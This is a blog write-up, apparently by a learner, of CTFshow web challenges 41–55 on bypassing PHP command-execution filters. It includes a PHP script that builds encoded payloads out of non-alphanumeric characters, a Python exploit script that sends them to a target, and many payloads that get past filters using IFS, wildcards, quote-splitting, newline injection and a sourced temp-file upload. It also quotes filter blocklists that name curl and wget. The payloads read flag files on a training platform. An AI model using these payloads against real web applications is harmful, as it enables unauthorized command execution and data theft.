CTFshow web入门 web41~web55 命令执行

DuxianQAQ

已于 2023-04-15 21:16:18 修改

阅读量2.2k

点赞数 4

分类专栏： CTFshow web入门文章标签： web 网络安全安全前端

于 2023-04-15 21:15:28 首次发布

本文链接：https://blog.youkuaiyun.com/qq_56815564/article/details/130175421

版权

CTFshow web入门专栏收录该内容

7 篇文章

订阅专栏

声明一下

本人现如今也在学习web，技术还不到家，这些全是搜寻各路大神见解后自己所总结的东西，有问题的话还请指正，感谢

web41(无数字字母rce)

过滤了：

[0-9]、^、+、~、$、[、]、{、}、&、-

这里过滤了$、+、-、^、~使得异或或自增和取反构造字符都无法使用，同时过滤了字母和数字。但是留下了一个一个或运算符（ | ）

可以尝试从ascii为0-255的字符中，找到 或运算 能得到我们可用的字符的字符集

<?php
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}
//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}
//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或，2代表异或，3代表取反
//取反的话，就没必要生成字符去跑了，因为本来就是不可见字符，直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式，后面的是过滤规则

生成结果中，需要找到连续字母

a %60 %01		// 这里的%60 或上 %01即是字母a
b %60 %02
c %60 %03
d %60 %04
e %60 %05
f %60 %06
g %60 %07
h %60 %08
i %60 %09
j %60 %0a
k %60 %0b
l %60 %0c
m %60 %0d
n %60 %0e
o %60 %0f
p %60 %10
q %60 %11
r %60 %12
s %60 %13
t %60 %14
u %60 %15
v %60 %16
w %60 %17
x %60 %18
y %60 %19
z %60 %1a
{ %60 %1b
| %60 %1c
} %60 %1d
~ %60 %1e
` %60 %20

从所有字符（ASCII[0-255]）中排除掉被过滤的，然后再判断或运算得到的字符是否为可见字符

可以一个一个的进行构造：比如要执行system的话就可以用以下的方式：

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%00"|"%60%60%60%20%60%60%60%2a")

system("cat fla*")

c="");('%60%60%60%60%60%60'|'%13%19%13%14%05%0d')(('%03%01%14'|'%60%60%60').' *');#

最前面的"");和前面的eval(合起来构成一个命令
中间是完整的一个语句：system(cat *);
最后的#表示注释，把后面所有的东西都注释起来功能消失了

使用POST传参：右键-->change request method
记得使用BP

也能用羽神的脚本更方便：

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("F:\\desktop\\Learning\\CTFtools\\Web\\phpstudy_pro\\phpstudy_pro\\WWW\\index.php")  # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
    print("=" * 50)
    print('USER：python exp.py <url>')
    print("eg：  python exp.py http://ctf.show/")
    print("=" * 50)
    exit(0)
url = argv[1]


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open(r"F:\\desktop\\Learning\\CTFtools\\Web\\phpstudy_pro\\phpstudy_pro\\WWW\\rce.txt", "r")  # 填txt的文件位置
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function：")) + action(input("[+] your command："))
    data = {
        'c': urllib.parse.unquote(param)
    }
    r = requests.post(url, data=data)
    print("\n[*] result:\n" + r.text)

命令行的使用：

python rce.py [url]

web42(>/dev/null 2>&1)

终于没有preg_match函数来过滤了，这回里面都是认识的，只不过后面GET传参的c还连接了一个

">/dev/null 2>&1"

对于这个语句：

>/dev/null：
	说明一下 /dev/null 说白了就是写入这个里面的内容都会丢失，读取这里面的内容什么也不会读取到
	而前面的 > 表示重定向代表的是要去哪里
	因为 > 前面没有数值，所以默认的是1，表示标准输出重定向到 /dev/null (空设备文件)
	因此不会显示任何的数据，同时也不会读取到任何的数据
	
2>&1：
	这里的1表示stdout标准输出，系统默认值是1，因此 > 前面没有值的时候就是默认标准输出 1>
	这里的2表示stderr标准错误
	&表示等同于的意思
	在这里这个语句的意思就表示2的输出重定向等同于1，即标准错误输出重定向等同于标准输出
	因为之前标准输出已经重定向到空设备文件，左移标准错误输出也重定向到空设备文件

这整一句话的意思是：让所有输出流(不管你是对的还是错的)都重定向到空设备文件中丢弃掉

所以关键就是不能让后面这个重定向执行下去就行

构造payload：

c=cat flag.php;		// 用 ; 把命令隔断
c=cat flag.php||	// ||表示只执行||前面的语句
c=cat flag.php%0a	// %0a是url编码，表示的是换行
c=cat flag.php%26	// %26是url编码，表示的是&符

另外说明一下：
|		表示只执行后面的命令
||		表示只执行前面的命令
&和&&	表示两条命令都会执行

此外，php版本小于5的时候因为php的底层是C，所以截断有另外的%00可以使用

—web43~web52过滤+>/dev/null 2>&1—

web43(过滤分号、cat)

这个题其实就是在上一题的基础上多加了个过滤

过滤了

;、cat

说到底，这么多能有回显的函数，也不差cat这一个，形式有这么多，也不差分号这一个

构造payload：

c=nl flag.php%0a
c=more flag.php%0a
c=sort flag.php%0a
c=less flag.php%0a
c=tac flag.php%0a
c=tail flag.php%0a
c=strings flag.php%0a

||也能用

web44(过滤flag)

过滤了：

;、cat、flag

区区不能使用flag而已，也有构造的形式

构造payload：

c=nl fla*%0a
c=more fla*%0a
c=sort fla*%0a
c=less fla*%0a
c=tac fla*%0a
c=tail fla*%0a
c=strings fla*%0a

||也能用

web45(过滤空格)

过滤了：

;、cat、flag、[空格]

空格不能用可以使用tab键代替，url编码是%09，反正tab是最多是4个空格，多几个空格也不会怎样

空格绕过：

%09
${IFS}
${IFS}$9
<

构造payload：

?c=nl%09fl*%0a
?c=nl<fla\g.php%0a
?c=echo${IFS}`nl${IFS}fl*`%0a		// 反引号表示无回显的命令执行，常配合echo来打印输出

web46(过滤$、*、数字)

过滤了：

;、cat、flag、[空格]、[0-9]、$、*

构造payload：

?c=nl%09????.???%0a
?c=nl%09fla\g.php%0a
?c=nl%09fla''g.php%0a

web47(过滤more、less、head、sort、tail)

过滤了：

;、cat、flag、[空格]、[0-9]、$、*、more、less、head、sort、tail

构造payload：

?c=nl%09????.???%0a
?c=nl%09fla\g.php%0a
?c=nl%09fla''g.php%0a
?c=nl<fla*%0a
?c=nl<fla\g.php%0a

web48(过滤sed、cut、awk、strings、od、curl、[反引号])

过滤了：

;、cat、flag、[空格]、[0-9]、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、[反引号]

构造payload：

还是一样
?c=nl%09????.???%0a
?c=nl%09fla\g.php%0a
?c=nl%09fla''g.php%0a
?c=nl<fla\g.php%0a

web49(过滤%)

过滤了：

;、cat、flag、[空格]、[0-9]、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、[反引号]、%

构造payload：

%被过滤掉了，能用的就少很多了，但还是有
?c=nl<fla''g.php||
?c=nl<fla\g.php||

web50(过滤\x09、\x26)

过滤了：

;、cat、flag、[空格]、[0-9]、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、[反引号]、%、\x09、\x26

\x09与\x26的含义其实就是%09（tab键）和%26（&）

构造payload：

?c=nl<fla''g.php||
?c=nl<fla\g.php||

web51(过滤tac)

过滤了：

;、cat、flag、[空格]、[0-9]、$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、[反引号]、%、\x09、\x26

多过滤了一个tac（我寻思着我也不怎么用啊）

构造payload：

?c=nl<fla''g.php||
?c=nl<fla\g.php||

web52(过滤>、<)

过滤了：

;、cat、flag、[空格]、[0-9]、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、[反引号]、%、\x09、\x26、>、<

这回终于把>和<过滤掉了，但 $又给开了，$ 想到的第一个就是${IFS}的空格替换

构造payload：

?c=nl${IFS}fla''g.php||

找到了，但没完全找到，去根目录看看有没有东西

?c=ls${IFS}/||

发现有个flag，cat和ls试了一下，都没有回显，看来是个文件，直接nl

?c=nl${IFS}/fla''g||		// 注意这个/表示根目录下的flag，不加/就会是本目录下的

web53(过滤+简单代码审计)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6ZaP4O5W-1681564193907)(C:/Users/%E7%8B%AC%E8%B4%A4/AppData/Roaming/Typora/typora-user-images/image-20230414193615256.png)]

过滤了：

;、cat、flag、[空格]、[0-9]、*、more、wget、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、\x09、\x26、>、<

简单分析一下，if中的语句第一个是输出GET传入的参数、第二个是执行c的语句后得到的东西赋值给d、第三个是换行后在输出d的内容。if判断错误的话会输出no

构造payload：

先在目录看一眼
?c=ls${IFS}

直接进flag.php
?c=nl${IFS}fla''g.php

web54(grep查找/文件重命名)

过滤了一堆

;		.*c.*a.*t.*		.*f.*l.*a.*g.*		[空格]		[0-9]、*
.*m.*o.*r.*e.*		.*w.*g.*e.*t.*		.*l.*e.*s.*s.*
.*h.*e.*a.*d.*		.*s.*o.*r.*t.*		.*t.*a.*i.*l.*
.*s.*e.*d.*		.*c.*u.*t.*		.*t.*a.*c.*		.*a.*w.*k.*
.*s.*t.*r.*i.*n.*g.*s.*		.*o.*d.*		.*c.*u.*r.*l.*
.*n.*l.*		.*s.*c.*p.*		.*r.*m.*		`		%
\x09		x26		>		<

这回是真正意义上的禁用了这些命令了，以前还能通过中间添加一些特殊符号来绕过的，现在是完全不能使用了，毕竟 . 后面跟上一个通配符后，就完全不能在中间加点什么了

像这种可以选择使用之前讲过的一种用?通配符来构造的方式，如：

对flag.php的构造可以这样：fl??.???
甚至可以简化为：????????

同样，命令也可以进行构造
cat可以构造为?at、c??

构造payload：

?c=/bin/c??${IFS}????????
这里的/bin/是指bin目录下检索c??，不然在当前目录是没有这个命令的

另外grep命令可以才文件中查找含有的字符串
形式：grep [字符串] [filename]
?c=grep${IFS}ctfshow${IFS}????????

另外，对于这题重命名文件也是一个不错的思路：

?c=mv${IFS}fl??.???${IFS}a.txt
把flag.php重命名为了a.txt
然后直接访问a.txt就行了

web55(无字母rce)

过滤了：

;、[a-z]、`、%、\x09、\x26、>、<

方法一：

同样能够使用?通配符，区区过滤掉字母而已，既然数字没有过滤的话，可以使用base64

构造payload：

?c=/???/????64 ????.???
意思为：?c=/bin/base64 flag.php

方法二：

使用/usr/bin/bzip2 对文件进行压缩

构造payload：

?c=/???/???/????2 ????.???
意思为：?c=/usr/bin/bzip2 flag.php

最后访问/flag.php.bz2即可
下载下来的压缩包中包含有flag.php

方法三：

.（点）的用法，相当于source，可以执行sh命令

在linux里面临时存放文件的目录可能会被定时删除
这个目录是/tmp，然后一般网页文件会命名为php???，后面是随机的字母，即：/tmp/phpXXXXXX
所以我们需要规定一个范围[@-[],从@-[就是26个字母然后关于上传文件的内容

php生成临时文件名是随机的，最后一个字符不一定是大写字母，不过多尝试几次也就行了

既然要上传的文件能执行内容，所以添加内容/bin/sh

因为linux系统下一切皆文件，所以一些个内置程序都是由文件组成的
/bin目录下存放的都是协议shell脚本的内容，sh就是执行shell脚本，可以理解为打开终端
只有打开终端我们再能输入命令
然后就可以在文件里面在添加ls,cat等一系列读取文件的命令了

需要构造一个post上传文件的数据包，上传的目的链接要改成题目的链接

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://27622056-3638-418a-95d0-7a217d279e6a.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后对该界面进行抓包，选择文件的话随便传一个就行了

构造poc(漏洞执行代码)，用来执行命令

?c=.%20/???/????????[@-[]		// %20也可以用+代替
+在这里是一个空格的作用，?是要进行匹配的字符，[@-[]表示@到[之间的字符，这里是包括有所有大写字母

然后在bp抓包界面添加sh命令

#!/bin/sh
ls

然后直接使用cat flag.php